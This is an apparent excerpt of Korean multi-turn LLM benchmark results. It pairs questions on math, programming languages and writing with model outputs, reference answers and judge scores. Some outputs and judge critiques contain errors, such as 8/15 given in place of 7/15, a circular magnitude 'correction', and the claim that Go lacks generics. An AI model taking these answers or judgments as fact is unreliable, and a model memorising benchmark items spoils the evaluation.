풀 수 있다. 해당 전략을 이용하면 (1/2)^100의 확률을 약 0.31까지 올릴 수 있다.", "유효하다."], "query_single": {"judge_message": "모델은 질문에 대한 답변을 한국어로 제공하여 언어 요구사항을 충족하였다. 제시된 전략은 직원들이 자신의 번호를 찾을 수 있는 방법을 설명하고 있으며, 이는 원순열 개념을 기반으로 한 것으로 보인다. 모델은 전략의 개요와 예시를 제공하여 이해를 돕고, 성공 확률이 높은 이유를 설명하였다. 그러나 모델은 성공 확률을 구체적으로 계산하는 방법이나 이론적 근거를 제시하지 않았으며, 추가 참고 자료에서 언급된 확률 약 0.31까지 올릴 수 있다는 정보를 포함하지 않았다. 이는 답변의 완전성을 다소 떨어뜨리는 요소이다.", "judge_score": 7.0}, "query_multi": {"judge_message": "모델은 질문에 대한 답변을 한국어로 제공하며, 질문의 요구사항을 충실히 반영하고 있습니다. 모델은 주어진 상황에서의 전략을 명확하게 설명하고, 이 전략이 직원 수와 열 수 있는 상자 수에 관계없이 유효함을 잘 설명하고 있습니다. 또한, 모델은 순환 고리의 개념을 이용하여 직원들이 자신의 번호를 찾을 수 있는 확률에 대해 설명하고 있으며, 이는 추가 참고 자료에 제시된 원순열 개념과 일치합니다. 모델은 또한 성공 확률이 순환 고리의 길이에 따라 달라질 수 있음을 언급하여, 전략의 효과가 상황에 따라 변할 수 있음을 인지하고 있습니다. 답변은 이전 대화 맥락과 일관되며, 추가 참고 자료를 바탕으로 한 후속 질문에도 적절히 대응하고 있습니다.", "judge_score": 10.0}}
{"id": 25, "category": "코딩(Coding)", "questions": ["프로그래밍 언어별 특징이 궁금합니다. C++, JavaScript, Go, Rust, Swift 언어별 특징을 간단히 설명해주세요.", "각 언어의 특징을 바탕으로, 상황에 따라 어떤 언어를 사용하면 좋을지 예시를 들어 설명해주세요."], "outputs": ["## 프로그래밍 언어별 특징: C++, JavaScript, Go, Rust, Swift\n\n각 언어의 특징을 간단히 설명하면 다음과 같습니다:\n\n**C++**\n\n* **특징:** 강력한 성능, 하드웨어 제어, 객체 지향 프로그래밍, 범용성\n* **장점:** 빠른 속도, 방대한 라이브러리와 프레임워크, 다양한 분야에서 사용 가능\n* **단점:** 높은 학습 곡선, 메모리 관리의 복잡성\n* **주요 사용 분야:** 게임 개발, 시스템 프로그래밍, 임베디드 시스템\n\n**JavaScript**\n\n* **특징:** 웹 프론트엔드의 표준 언어, 인터프리터 언어, 동적 타입, 이벤트 기반\n* **장점:** 쉬운 학습 곡선, 웹 브라우저에서 직접 실행 가능, 다양한 프레임워크와 라이브러리\n* **단점:** 상대적으로 느린 속도, 보안 취약점 발생 가능성\n* **주요 사용 분야:** 웹 개발, 서버 사이드 개발(Node.js), 모바일 앱 개발\n\n**Go**\n\n* **특징:** 간결한 문법, 빠른 컴파일 속도, 동시성 처리에 강점, 가비지 컬렉션 지원\n* **장점:** 배우기 쉬움, 빠른 실행 속도, 효율적인 동시성 처리\n* **단점:** 상대적으로 적은 라이브러리, 제네릭 프로그래밍 부재\n* **주요 사용 분야:** 서버 사이드 개발, 네트워크 프로그래밍, 분산 시스템\n\n**Rust**\n\n* **특징:** 안전성과 속도에 중점, 메모리 안전성 보장, 강력한 타입 시스템, 동시성 처리 지원\n* **장점:** 높은 안정성, 빠른 실행 속도, 병행 처리의 안전성\n* **단점:** 높은 학습 곡선, 엄격한 컴파일 규칙\n* **주요 사용 분야:** 시스템 프로그래밍, 임베디드 시스템, 고성능 애플리케이션\n\n**Swift**\n\n* **특징:** Apple 생태계를 위한 현대적 언어, 안전성과 성능에 중점, 간결하고 읽기 쉬운 문법\n* **장점:** 빠른 속도, 높은 안정성, iOS 및 macOS 개발에 최적화\n* **단점:** Apple 생태계 외에서는 사용 제한적\n* **주요 사용 분야:** iOS 앱 개발, macOS 앱 개발, 서버 사이드 개발\n\n각 언어는 고유한 특징과 장단점을 가지고 있으며, 어떤 언어가 더 좋다고 단정할 수 없습니다. 프로젝트의 목적과 요구사항, 개발 환경 등을 고려하여 적절한 언어를 선택하는 것이 중요합니다.", "## 상황에 맞는 프로그래밍 언어 선택: 예시\n\n앞서 설명한 언어별 특징을 바탕으로, 특정 상황에 어떤 언어가 적합한지 예시와 함께 살펴보겠습니다.\n\n**1. 고성능 게임 개발:**\n\n* **선택:** C++, Rust\n* **이유:** 게임은 높은 프레임 속도와 빠른 응답 속도를 요구합니다. C++는 오랜 기간 게임 개발에 사용되며 성능이 검증되었고, 방대한 라이브러리와 엔진 생태계가 구축되어 있습니다. Rust는 C++에 비해 비교적 새로운 언어이지만, 메모리 안전성과 빠른 속도를 동시에 제공하여 게임 개발 분야에서 주목받고 있습니다.\n\n**2. 웹 서비스 백엔드 개발:**\n\n* **선택:** JavaScript (Node.js), Go, Rust\n* **이유:**  웹 서비스 백엔드는 동시성 처리와 안정성이 중요합니다. \n    * Node.js는 JavaScript 기반으로 빠른 개발과 풍부한 라이브러리를 제공하며, 이벤트 기반 아키텍처로 높은 동시성 처리를 요구하는 웹 서버 개발에 적합합니다. \n    * Go는 간결한 문법과 뛰어난 동시성 처리 기능을 제공하며, 배우기 쉬우면서도 빠른 성능을 요구하는 웹 서버 개발에 유리합니다. \n    * Rust는 메모리 안전성과 높은 성능을 동시에 요구하는 복잡한 웹 서비스 백엔드 개발에 적합합니다.\n\n**3. 데이터 분석 및 머신러닝:**\n\n* **선택:** Python (TensorFlow, PyTorch 등 라이브러리 활용)\n* **이유:** 데이터 분석 및 머신러닝 분야에서는 Python이 지배적입니다. NumPy, Pandas, Scikit-learn과 같은 강력한 라이브러리들이 풍부하게 제공되며, TensorFlow, PyTorch와 같은 딥러닝 프레임워크도 Python을 기반으로 개발되어 사용됩니다.\n\n**4. 안드로이드 모바일 앱 개발:**\n\n* **선택:** Kotlin, Java\n* **이유:** Kotlin은 간결하고 안전한 코드 작성을 지원하며, Java와의 뛰어난 상호 운용성을 제공합니다. 안드로이드 공식 언어로 지정되면서,  풍부한 라이브러리와 개발 커뮤니티 지원을 받을 수 있습니다.\n\n**5. iOS 모바일 앱 개발:**\n\n* **선택:** Swift\n* **이유:** Swift는 Apple 생태계에 최적화된 언어로, iOS 및 macOS 앱 개발에 필요한 다양한 기능과 라이브러리를 제공합니다. \n\n**6. 시스템 프로그래밍:**\n\n* **선택:** C, C++, Rust\n* **이유:** 시스템 프로그래밍은 하드웨어 제어, 메모리 관리 등 높은 수준의 제어가 필요하며,  빠른 실행 속도와 안정성이 중요합니다. C는 오랜 기간 시스템 프로그래밍에 사용되어 검증된 언어이며, C++는 객체 지향 프로그래밍 기능을 추가하여 복잡한 시스템 개발에 용이합니다. Rust는 메모리 안전성을 보장하면서 C/C++에  버금가는 성능을 제공하여, 시스템 프로그래밍 분야에서 새로운 강자로 떠오르고 있습니다. \n\n위 예시는 일반적인 상황에 대한 참고 사항이며, 실제 프로젝트에서는 더욱 다양한 요소를 고려하여 최적의 언어를 선택해야 합니다. \n\n**추가 고려 사항:**\n\n* **개발 팀의 숙련도:** 익숙한 언어를 사용하는 것이 개발 속도와 유지 보수에 유리할 수 있습니다.\n* **프로젝트 규모:**  대규모 프로젝트에서는 코드 관리 및 안정성이 중요하므로, 이를 지원하는 언어와 도구를 고려해야 합니다.\n* **개발 기간 및 비용:**  빠른 개발과 저렴한 비용이 중요하다면, 개발 생산성이 높고 풍부한 라이브러리를 제공하는 언어를 선택하는 것이 유리할 수 있습니다.\n\n적절한 프로그래밍 언어 선택은 성공적인 프로젝트 개발의 시작점이라고 할 수 있습니다. 다양한 언어의 특징과 장단점을 이해하고, 프로젝트의 특성과 요구사항을  면밀히 분석하여 최선의 선택을 하시기 바랍니다. \n"], "references": [null, null], "query_single": {"judge_message": "모델은 C++, JavaScript, Go, Rust, Swift 각각의 프로그래밍 언어에 대해 특징, 장점, 단점, 주요 사용 분야를 명확하게 설명하며 질문에 충실히 답변했다. 언어 요구사항을 준수하며 한국어로 답변했고, 각 언어별로 요약된 정보를 제공하여 이해하기 쉽게 했다. 또한, 마지막에는 언어 선택 시 고려해야 할 사항에 대한 조언을 추가하여 답변의 완성도를 높였다. 단, Go 언어의 경우 '제네릭 프로그래밍 부재'라는 단점은 최신 정보와 일치하지 않는다. Go 언어는 1.18 버전부터 제네릭을 지원하기 시작했다. 이러한 최신 정보의 누락은 답변의 정확성에 영향을 미친다.", "judge_score": 8.0}, "query_multi": {"judge_message": "모델은 주어진 질문에 대해 언어 요구사항을 준수하며 한국어로 답변하였다. 각 프로그래밍 언어별로 상황에 따른 적절한 사용 예시를 제시하면서, 해당 언어가 왜 그 상황에 적합한지에 대한 이유를 설명하였다. 또한, 추가 고려 사항을 제시하여 프로젝트에 적합한 언어 선택에 대한 심층적인 조언을 제공하였다. 다만, 데이터 분석 및 머신러닝에 대한 예시에서 Python을 언급한 것은 질문에서 요구한 언어 목록에 포함되지 않았으므로, 이 부분은 질문의 요구사항을 완전히 충족시키지 못한 것으로 볼 수 있다. 그러나 이는 후속 질문에 대한 답변이며, 전체적인 맥락에서 볼 때 큰 문제는 아니라고 판단된다.", "judge_score": 9.0}}
{"id": 12, "category": "수학(Math)", "questions": ["벡터 A(4, 5, 2), B(1,3,2)를 내적해라.", "두 벡터의 코사인 유사도를 구해라."], "outputs": ["벡터 A와 B의 내적(dot product)은 다음과 같이 계산됩니다.\n\nA·B = (A의 x 성분 * B의 x 성분) + (A의 y 성분 * B의 y 성분) + (A의 z 성분 * B의 z 성분)\n\n주어진 벡터 A(4, 5, 2)와 B(1, 3, 2)를 사용하면:\n\nA·B = (4 * 1) + (5 * 3) + (2 * 2) \n      = 4 + 15 + 4\n      = 23\n\n따라서, 벡터 A(4, 5, 2)와 B(1, 3, 2)의 내적은 **23**입니다. \n", "벡터 A(4, 5, 2)와 B(1, 3, 2)의 코사인 유사도를 구하기 위해서는 다음 공식을 사용합니다.\n\n**코사인 유사도 = (A·B) / (||A|| * ||B||)**\n\n여기서:\n\n* A·B는 A와 B의 내적 (이미 계산됨: 23)\n* ||A||는 벡터 A의 크기\n* ||B||는 벡터 B의 크기\n\n**1. 벡터 A와 B의 크기 계산:**\n\n* ||A|| = √(4² + 5² + 2²) = √45\n* ||B|| = √(1² + 3² + 2²) = √14\n\n**2. 코사인 유사도 계산:**\n\n코사인 유사도 = 23 / (√45 * √14) ≈ 0.919 \n\n**따라서, 벡터 A(4, 5, 2)와 B(1, 3, 2)의 코사인 유사도는 약 0.919입니다.** \n\n이는 두 벡터가 매우 유사한 방향을 가지고 있음을 의미합니다. 코사인 유사도는 1에 가까울수록 유사도가 높고, -1에 가까울수록 유사도가 낮습니다. \n"], "references": ["23", "답은 0.9163 또는 23 / (3sqrt(70)). 단, 계산 과정 및 개념에 집중하여 평가할 것"], "query_single": {"judge_message": "모델은 벡터의 내적을 계산하는 과정을 정확하게 설명하고, 주어진 벡터 A와 B에 대한 내적 계산을 올바르게 수행했다. 계산 과정을 단계별로 보여주며 최종 결과값인 23을 제시했으며, 이는 추가 참고 자료에 제공된 값과 일치한다. 모델의 답변은 한국어로 제공되었으며, 언어 요구사항을 완벽히 준수했다.", "judge_score": 10.0}, "query_multi": {"judge_message": "모델은 벡터의 코사인 유사도를 구하는 과정을 올바르게 설명하고 계산했습니다. 내적 값과 벡터의 크기를 이용하여 코사인 유사도를 계산하는 공식을 제시하고, 이를 통해 코사인 유사도를 구했습니다. 그러나 최종 계산 결과에서 오류가 있습니다. 제공된 참고 자료에 따르면 정확한 답은 0.9163 또는 23 / (3√70)이어야 하지만, 모델은 약 0.919라고 답변했습니다. 이는 계산 과정에서 벡터 A와 B의 크기를 잘못 계산한 결과입니다. 벡터 A의 크기는 √(4² + 5² + 2²) = √(16 + 25 + 4) = √45가 아니라 √(16 + 25 + 4) = √45가 맞으며, 벡터 B의 크기도 √(1² + 3² + 2²) = √(1 + 9 + 4) = √14가 아니라 √(1 + 9 + 4) = √14가 맞습니다. 따라서, 최종 코사인 유사도 계산 결과에 오류가 있습니다.", "judge_score": 6.0}}
{"id": 18, "category": "글쓰기(Writing)", "questions": ["당신은 방금 역사에 남을법한 발견을 한 과학자입니다. 놀란 감정을 담아 동료 과학자에게 발견한 내용을 설명하는 이메일을 작성해보세요. 이메일은 '이보게! 제임스'로 시작해야 합니다.", "만약에 이메일이 아닌 편지를 작성해야 하는 상황에서는 어떠한 부분을 다르게 작성할 수 있을지 생각해보고, 다시 작성해보세요."], "outputs": ["이보게! 제임스,\n\n믿을 수가 없어! 내가 방금 뭘 발견했는지 꼭 알려줘야겠어. 진짜 대단해! 며칠 밤낮으로 (몇 주일이라고 해야 할지도 몰라! 하하!) 이걸 해결하려고 했잖아. 내가 옳았던 거야! 기억나? [삽입: 간략하게 연구 주제 언급].\n\n그래서 [삽입: 연구 및 실험 방법 간략하게 설명]. 믿기지 않겠지만, [삽입: 결과 설명]! 난 완전히 충격받았어. 이걸 예상한 사람이 있었을까? 이건 [삽입: 발견의 의미 설명]을 의미한다고 생각해.\n\n알겠지만, 아직 초기 단계이고 더 많은 걸 확인해야 해. 하지만 난 이게 정말 획기적인 발견이라고 확신해. 이걸 자네에게 가장 먼저 알려줘야 할 것 같았어. 빨리 와서 이 엄청난 데이터를 직접 확인해 봐!\n\n서둘러!\n\n[삽입: 이름] 드림. \n", "제임스에게,\n\n믿을 수 없는 일이 일어났어! 펜을 잡는 순간에도 손이 떨릴 정도야. 내가 뭘 발견했는지 알면 자네도 분명 깜짝 놀랄 거야. 며칠 밤낮으로 (사실 몇 주일이라고 해야 더 정확하겠지!) 매달렸던 [삽입: 간략하게 연구 주제 언급] 말인데… 내 예상이 맞았어! 기억나? 우리가 얼마나 열띤 토론을 벌였는지!\n\n자, 잘 들어봐. [삽입: 연구 및 실험 방법 간략하게 설명]. 그리고 놀라지 마시게, 제임스. [삽입: 결과 설명]! 이 결과를 확인하고 얼마나 놀랐는지 모른다네. 정말 상상이나 했겠어? 내 생각에는 이 결과가 [삽입: 발견의 의미 설명]을 의미하는 것 같아. \n\n물론 아직은 초기 단계이고, 더 많은 검증이 필요해. 하지만 내  intuition이 이번만큼은 강하게 속삭이고 있다네. 분명 엄청난 발견일세! 자네에게 가장 먼저 이 소식을 알리고 싶었어. 이 편지를 받는 대로 당장 달려와 주게나. 자네가 직접 확인해야 할 만큼 엄청난 발견이야!\n\n자네를 만나 이 기쁨을 함께 나누고 싶군.\n\n그럼, 곧 보세!\n\n[삽입: 이름] 드림.\n"], "references": [null, null], "query_single": {"judge_message": "모델은 질문에서 요구한 형식에 맞춰 이메일을 작성했습니다. '이보게! 제임스'로 시작하는 점, 놀란 감정을 표현하는 문체, 동료 과학자에게 발견 내용을 설명하는 내용 등 질문의 요구사항을 잘 반영했습니다. 다만, 모델이 실제 연구 주제, 연구 및 실험 방법, 결과 설명, 발견의 의미 등 구체적인 내용을 '[삽입: ]' 형태로 남겨둔 점은 아쉽습니다. 이는 사용자가 직접 내용을 채워 넣어야 하는 부분으로, 모델이 구체적인 예시나 가상의 내용을 제공하지 않은 것은 답변의 완성도를 떨어뜨립니다. 그러나 이는 질문의 성격상 구체적인 발견 내용을 예측할 수 없기 때문에 발생한 문제로 보입니다.", "judge_score": 7.0}, "query_multi": {"judge_message": "모델은 주어진 질문의 요구사항을 잘 반영하여 답변을 제공했습니다. 이메일 형식에서 편지 형식으로 변경하면서 문체와 호칭을 적절히 수정했으며, 편지의 정서적인 요소를 강조하는 방식으로 내용을 재구성했습니다. 또한, 편지의 전통적인 문구를 사용하여 이메일과의 차별점을 두었습니다. 언어 요구사항을 충족하며 한국어로 답변했고, 이전 대화 맥락과도 일치하는 답변을 제공했습니다. 다만, 실제 연구 주제나 결과 등 구체적인 내용을 삽입하지 않은 점은 아쉬움으로 남습니다. 그러나 이는 질문의 형식이 구체적인 내용을 요구하지 않았기 때문에 큰 문제가 되지 않습니다.", "judge_score": 9.0}}
{"id": 10, "category": "수학(Math)", "questions": ["다음 두 집합 A, B에 대해 A 교집합 B = {1, 2, 3, 4, 5}이고, A 합집합 B = {1, 2, 3, 4, 5, 6, 7, 8, 9, 10}일 때, A와 B의 원소의 개수 범위를 구하시오.", "집합 C = {2, 6, 3, 1} 일 때 (A 교집합 B) 합집합 C를 구하시오."], "outputs": ["A와 B의 원소 개수 범위를 구해보겠습니다.\n\n**1. 교집합과 합집합의 특징**\n\n* **교집합:** A에도 속하고 B에도 속하는 원소들의 집합\n* **합집합:** A에 속하거나 B에 속하는 모든 원소들의 집합\n\n**2. 주어진 정보**\n\n* A ∩ B = {1, 2, 3, 4, 5}  (5개 원소)\n* A ∪ B = {1, 2, 3, 4, 5, 6, 7, 8, 9, 10} (10개 원소)\n\n**3. 원소 개수 범위 추론**\n\n* **A의 원소 개수:** 최소 5개 (교집합 원소) 이상, 최대 10개 (합집합 원소) 이하\n* **B의 원소 개수:** 최소 5개 (교집합 원소) 이상, 최대 10개 (합집합 원소) 이하\n\n**4. 범위 표현**\n\n* 5 ≤ n(A) ≤ 10 \n* 5 ≤ n(B) ≤ 10\n\n따라서, 집합 A와 B의 원소 개수는 각각 **5개 이상 10개 이하** 입니다. \n", "집합 A, B, C에 대해 다음이 주어졌습니다.\n\n* A ∩ B = {1, 2, 3, 4, 5}\n* C = {2, 6, 3, 1}\n\n(A ∩ B) ∪ C 를 구해봅시다.\n\n1. **(A ∩ B) ∪ C  의 의미**:  집합 A와 B의 교집합에 속하는 원소들과 집합 C의 원소들을 모두 합친 집합\n\n2. **계산**:\n   * A ∩ B = {1, 2, 3, 4, 5}\n   * C = {2, 6, 3, 1}\n   * (A ∩ B) ∪ C = {1, 2, 3, 4, 5, 6} \n\n따라서, (A ∩ B) ∪ C = **{1, 2, 3, 4, 5, 6}** 입니다. \n"], "references": ["A의 원소의 개수는 5개 이상 10개 이하, B의 원소의 개수는 5개 이상 10개 이하이다.", "(A 교집합 B) 합집합 C = {1, 2, 3, 4, 5, 6}. 같은 원소끼리 합할경우 중복하여 쓰지 않는다."], "query_single": {"judge_message": "모델은 질문에 대한 답변을 한국어로 제공하며, 언어 요구사항을 충족하고 있다. 그러나 답변의 내용이 질문의 요구사항을 완전히 충족하지 못하고 있다. 질문은 A와 B의 원소 개수 범위를 구하는 것이었는데, 모델은 단순히 A와 B 각각의 원소 개수가 5개 이상 10개 이하라는 사실을 반복하고 있다. 추가 참고 자료에 따르면, A와 B의 원소 개수는 각각 5개 이상 10개 이하이지만, 이를 통해 A와 B의 원소 개수 범위를 구체적으로 계산하는 과정이 누락되었다. 예를 들어, A와 B가 각각 5개의 공통 원소를 가지고 있으므로, A 또는 B의 최소 원소 개수는 5개가 아닌 5개(교집합) + 5개(합집합에서 교집합을 뺀 나머지) = 10개가 되어야 하며, 최대 원소 개수는 10개가 될 수 있다. 이러한 계산을 통해 A와 B의 원소 개수 범위를 정확히 구하는 단계가 필요했다.", "judge_score": 3.0}, "query_multi": {"judge_message": "모델은 집합 A와 B의 교집합과 합집합에 대한 정보를 바탕으로 A와 B의 원소 개수 범위를 정확하게 설명하였습니다. 추가 참조 정보를 통해 A와 B의 원소 개수가 각각 5개 이상 10개 이하임을 확인하고, 이를 바탕으로 원소 개수 범위를 제시하였습니다. 후속 질문에서는 집합 C를 포함하여 (A 교집합 B) 합집합 C를 구하는 문제에 대해 올바른 답변을 제공하였으며, 중복 원소를 제외한 최종 결과를 제시하였습니다. 모델의 답변은 언어 요구사항을 충족하며, 이전 대화 맥락과 일치합니다.", "judge_score": 10.0}}
{"id": 35, "category": "이해(Understanding)", "questions": ["좋아하는 요리를 소개하는 글을 다섯 문단으로 작성해줘. 단, 요리의 특징, 맛, 레시피를 꼭 포함해야 해.", "작성한 글의 핵심 정보를 추출해서 JSON 형식으로 출력해봐."], "outputs": ["제가 가장 좋아하는 요리는 바로 깊은 맛을 자랑하는 '김치찌개'입니다. 매콤하면서도 칼칼한 국물은 한국인이라면 누구나 좋아할 만한 맛이죠. 잘 익은 김치의 새콤함과 돼지고기의 고소함이 어우러져 환상적인 조화를 이룹니다. 밥 한 그릇을 뚝딱 해치우게 만드는 마법 같은 맛이죠.\n\n김치찌개 레시피는 생각보다 간단합니다. 먼저 냄비에 돼지고기를 넣고 볶다가 김치를 넣고 함께 볶아줍니다. 그 다음, 물을 넣고 끓이다가 다진 마늘, 고춧가루, 된장을 넣어 깊은 맛을 더합니다. 취향에 따라 양파, 두부, 파 등을 추가해도 좋습니다. \n\n끓일수록 깊어지는 맛이 김치찌개의 가장 큰 매력입니다. 처음에는 칼칼하고 시원한 맛이었다면, 오래 끓일수록 돼지고기와 김치의 맛이 우러나와 더욱 풍부하고 진한 맛을 느낄 수 있습니다. \n\n저는 특히 라면 사리를 넣어 먹는 것을 좋아합니다. 꼬들꼬들한 라면에 김치찌개 국물이 스며들어 잊을 수 없는 맛을 선사합니다. 뜨끈한 밥 한 숟가락에 칼칼한 김치찌개 국물과 라면 사리를 함께 먹으면 그 순간만큼은 세상 어떤 음식도 부럽지 않습니다. \n\n김치찌개는 언제 먹어도 맛있지만, 추운 겨울날이나 비 오는 날에 더욱 생각나는 음식입니다. 뜨끈하고 얼큰한 국물 한 입은 몸과 마음을 따뜻하게 녹여주는 마법 같은 힘을 지녔습니다. 여러분도 김치찌개 한 그릇으로 일상의 피로를 녹여보는 건 어떨까요? \n", "```json\n{\n  \"요리명\": \"김치찌개\",\n  \"특징\": \"매콤하면서도 칼칼한 국물, 잘 익은 김치의 새콤함과 돼지고기의 고소함\",\n  \"맛\": \"깊은 맛, 칼칼하고 시원한 맛, 끓일수록 풍부하고 진한 맛\",\n  \"레시피\": \"1. 냄비에 돼지고기를 넣고 볶다가 김치를 넣고 함께 볶는다.\\n2. 물을 넣고 끓이다가 다진 마늘, 고춧가루, 된장을 넣는다.\\n3. 취향에 따라 양파, 두부, 파 등을 추가한다.\",\n  \"추천_팁\": \"라면 사리를 넣어 먹으면 더욱 맛있게 즐길 수 있다.\"\n}\n```"], "references": [null, null], "query_single": {"judge_message": "모델은 요청된 내용에 맞춰 김치찌개에 대한 소개와 레시피를 다섯 문단으로 잘 구성했습니다. 요리의 특징과 맛을 설명하고, 레시피를 포함하여 요리에 대한 애정과 개인적인 취향(라면 사리 추가)을 덧붙였습니다. 또한, 김치찌개를 먹기 좋은 계절과 날씨에 대한 언급으로 글을 마무리하여 요리에 대한 풍부한 정보와 개인적인 감상을 제공했습니다. 언어 요구사항을 충실히 준수하며 한국어로 답변했습니다.", "judge_score": 10.0}, "query_multi": {"judge_message": "모델은 요청된 내용에 맞춰 김치찌개에 대한 글을 다섯 문단으로 작성하였으며, 요리의 특징, 맛, 레시피를 포함하였다. 후속 질문에 대한 답변으로 JSON 형식을 사용하여 핵심 정보를 정확하게 추출해냈다. 모델의 답변은 질문의 요구사항을 충실히 반영하였고, 언어 요구사항에도 부합한다. 답변은 한국어로 이루어졌으며, 이전 대화 맥락과 일관성을 유지하고 있다. 또한, JSON 형식을 사용하여 정보를 구조화하는 요구를 정확히 이해하고 적절히 수행하였다.", "judge_score": 10.0}}
{"id": 20, "category": "글쓰기(Writing)", "questions": ["기자인 당신은 한 게임 A를 수년간 플레이해오며 게임 A에 대한 광범위한 지식을 가지고 있습니다. 최근 출시된 게임 B가 게임 A의 핵심 요소를 모방했다는 논란이 있습니다. 게임 B의 개발사에 인터뷰를 요청하는 과정에서, 게임 B의 개발자들로부터 그들의 의도와 게임 디자인 결정에 대한 깊이 있는 이해를 얻고자 합니다. 이를 바탕으로 게임 B의 개발사에 인터뷰를 요청하는 메일을 작성해보세요.", "인터뷰 요청 메일을 받은 게임 B의 개발사는 어떠한 반응을 보일 수 있을지 예상해보세요."], "outputs": ["## 게임 B 개발팀께,\n\n안녕하세요, 저는 [본인 이름]이라고 하며 [매체 이름]에서 게임 전문 기자로 활동하고 있습니다. \n\n최근 출시된 귀사의 게임 B에 큰 관심을 가지고 살펴보고 있습니다. 특히, 제가 수년간 애정을 가지고 플레이해 온 게임 A와 유사한 부분들을 발견하며 게임 B만의 독창성과 차별점을 탐구하고자 합니다. \n\n게임 A에 대한 저의 경험과 이해를 바탕으로 게임 B의 개발 과정과 디자인 철학에 대한 심층적인 인터뷰를 진행하고 싶습니다. \n\n특히, 다음과 같은 질문들을 중점적으로 다루고자 합니다.\n\n* 게임 B의 핵심적인 게임 메커니즘과 시스템을 디자인할 때 어떤 부분에 가장 중점을 두었는지 궁금합니다.\n* 게임 A와 유사한 요소들을 의도적으로 차용한 부분이 있다면, 그 이유와 함께 게임 B만의 차별성을 부여하기 위해 어떤 노력을 기울였는지 자세한 설명을 부탁드립니다.\n* 게임 개발 과정에서 영감을 받은 다른 게임들이 있다면 소개해주시고, 게임 B만의 독창적인 게임 경험을 만들기 위해 어떤 부분에 가장 심혈을 기울였는지 궁금합니다.\n\n게임 B 개발팀의 솔직하고 진솔한 이야기를 통해 게임 B에 대한 독자들의 이해를 높이고, 게임 산업 내 창의성과 영감에 대한 건강한 논의를 이끌어낼 수 있기를 기대합니다.\n\n인터뷰 요청에 대한 긍정적인 답변 기다리겠습니다. \n\n감사합니다.\n\n[본인 이름] 드림. \n", "게임 B 개발사는 인터뷰 요청 메일에 대해 다양한 반응을 보일 수 있습니다. 몇 가지 가능한 시나리오와 그 이유를 분석해 보겠습니다.\n\n**긍정적인 반응**\n\n* **인터뷰에 적극적으로 응하는 경우:** 게임 B 개발사는 자신들의 게임 디자인 철학과 차별성을 적극적으로 설명하고자 할 수 있습니다. 특히, 게임 A와의 유사성 논란을 불식시키고 게임 B만의 독창적인 가치를 알리고 싶어할 것입니다. 긍정적인 언론 노출을 통해 게임 홍보 효과를 기대할 수도 있습니다.\n* **서면 인터뷰 제안:**  시간적 제약이나 내부 사정으로 인해 직접적인 인터뷰가 어려울 경우, 서면을 통한 답변을 제시할 수 있습니다. 이는 비교적 부담이 적은 방식으로 정보를 제공하면서도, 답변 내용을  통제하여 오해의 소지를 줄이려는 의도일 수 있습니다.\n\n**부정적인 반응**\n\n* **인터뷰 요청 거부:** 게임 A와의 유사성 논란에 대해 민감하게 반응하여 어떠한 해명이나 인터뷰도 거부할 수 있습니다. 논란이 확산되는 것을 우려하거나 법적인 문제를 고려할 가능성도 있습니다.\n* **형식적인 답변:**  인터뷰 요청에 응하되, 사전에 준비된 홍보 자료를 제공하거나 일반적인 수준의 답변만을 제시하며 논점을 회피할 수 있습니다.  이는 논란에 대한 직접적인 대응을 피하면서도 최소한의 대응을 했다는 명분을 얻으려는 의도일 수 있습니다.\n\n**그 외**\n\n* **일부 질문에 대한 답변 거부:** 개발사는 특정 질문에 대해서는 답변을 회피하거나 제한적인 정보만을 제공할 수 있습니다. 예를 들어, 게임 개발 과정의 특정 부분이나  저작권 관련 질문에 대해서는 답변을 꺼릴 수 있습니다. \n\n\n어떤 반응을 보이든, 게임 B 개발사는 게임 A와의 유사성 논란에 대한 대중의 시선과 언론의 관심을 인지하고 있을 것입니다. 따라서 개발사의 답변은 신중하게 선택될 것이며,  그들의 입장과 전략을 엿볼 수 있는 중요한 단서가 될 것입니다. \n"], "references": [null, null], "query_single": {"judge_message": "모델은 주어진 질문에 대해 게임 B의 개발사에 인터뷰를 요청하는 메일 형식으로 적절하게 답변했습니다. 한국어로 답변하는 언어 요구사항을 충족하였으며, 게임 A와 게임 B의 관계에 대한 이해를 바탕으로 인터뷰의 목적과 중점적으로 다루고자 하는 질문들을 명확히 제시했습니다. 또한, 게임 B의 독창성과 차별점을 탐구하고자 하는 기자의 의도가 잘 드러나며, 게임 산업 내 창의성에 대한 논의를 이끌어내고자 하는 목적도 잘 표현되었습니다. 답변에서 누락된 부분이나 아쉬운 점은 발견되지 않았습니다.", "judge_score": 10.0}, "query_multi": {"judge_message": "모델은 인터뷰 요청 메일을 받은 게임 B의 개발사가 어떠한 반응을 보일 수 있는지 다양한 시나리오를 제시하며 상세하게 설명하였습니다. 긍정적인 반응과 부정적인 반응, 그리고 그 외의 가능성을 포함하여 각각의 반응에 대한 이유와 가능한 결과를 잘 분석하였습니다. 또한, 모델은 언어 요구사항을 충족하며 한국어로 답변을 제공하였습니다. 답변은 질문의 요구사항을 잘 반영하고 있으며, 이전 대화 맥락과도 일치합니다. 답변에서 누락된 부분이나 아쉬운 점은 발견되지 않았습니다.", "judge_score": 10.0}}
{"id": 11, "category": "수학(Math)", "questions": ["한 상자에는 빨간 공이 4개, 파란 공이 6개 들어있습니다. 이 상자에서 공을 무작위로 2개를 꺼낼 때, 두 공의 색깔이 같을 확률은?", "세 공의 색깔이 모두 같을 확률은?"], "outputs": ["두 공의 색깔이 같을 확률은 빨간 공 2개를 꺼내는 경우와 파란 공 2개를 꺼내는 경우의 확률을 합한 것과 같습니다.\n\n* **빨간 공 2개를 꺼낼 확률:**\n\n    1. 첫 번째 공이 빨간 공일 확률: 4/10 (전체 10개 중 빨간 공 4개)\n    2. 첫 번째 공을 꺼낸 후, 상자에는 빨간 공 3개, 파란 공 6개가 남아있습니다. 따라서 두 번째 공도 빨간 공일 확률은 3/9 입니다.\n    3. 두 사건이 연속적으로 일어날 확률은 (4/10) * (3/9) = 2/15 입니다.\n\n* **파란 공 2개를 꺼낼 확률:**\n\n    1. 첫 번째 공이 파란 공일 확률: 6/10\n    2. 두 번째 공도 파란 공일 확률: 5/9\n    3. 두 사건이 연속적으로 일어날 확률은 (6/10) * (5/9) = 1/3 입니다.\n\n따라서, 두 공의 색깔이 같을 확률은 빨간 공 2개를 꺼낼 확률과 파란 공 2개를 꺼낼 확률의 합과 같으므로,  2/15 + 1/3 = **8/15** 입니다. \n", "문제에서 공을 딱 두 개만 꺼낸다고 했으므로, 세 공의 색깔이 모두 같을 확률은 **0** 입니다. \n"], "references": ["7/15 또는 46.7%", "1/5 또는 20%"], "query_single": {"judge_message": "모델의 답변은 질문에 대한 정확한 계산 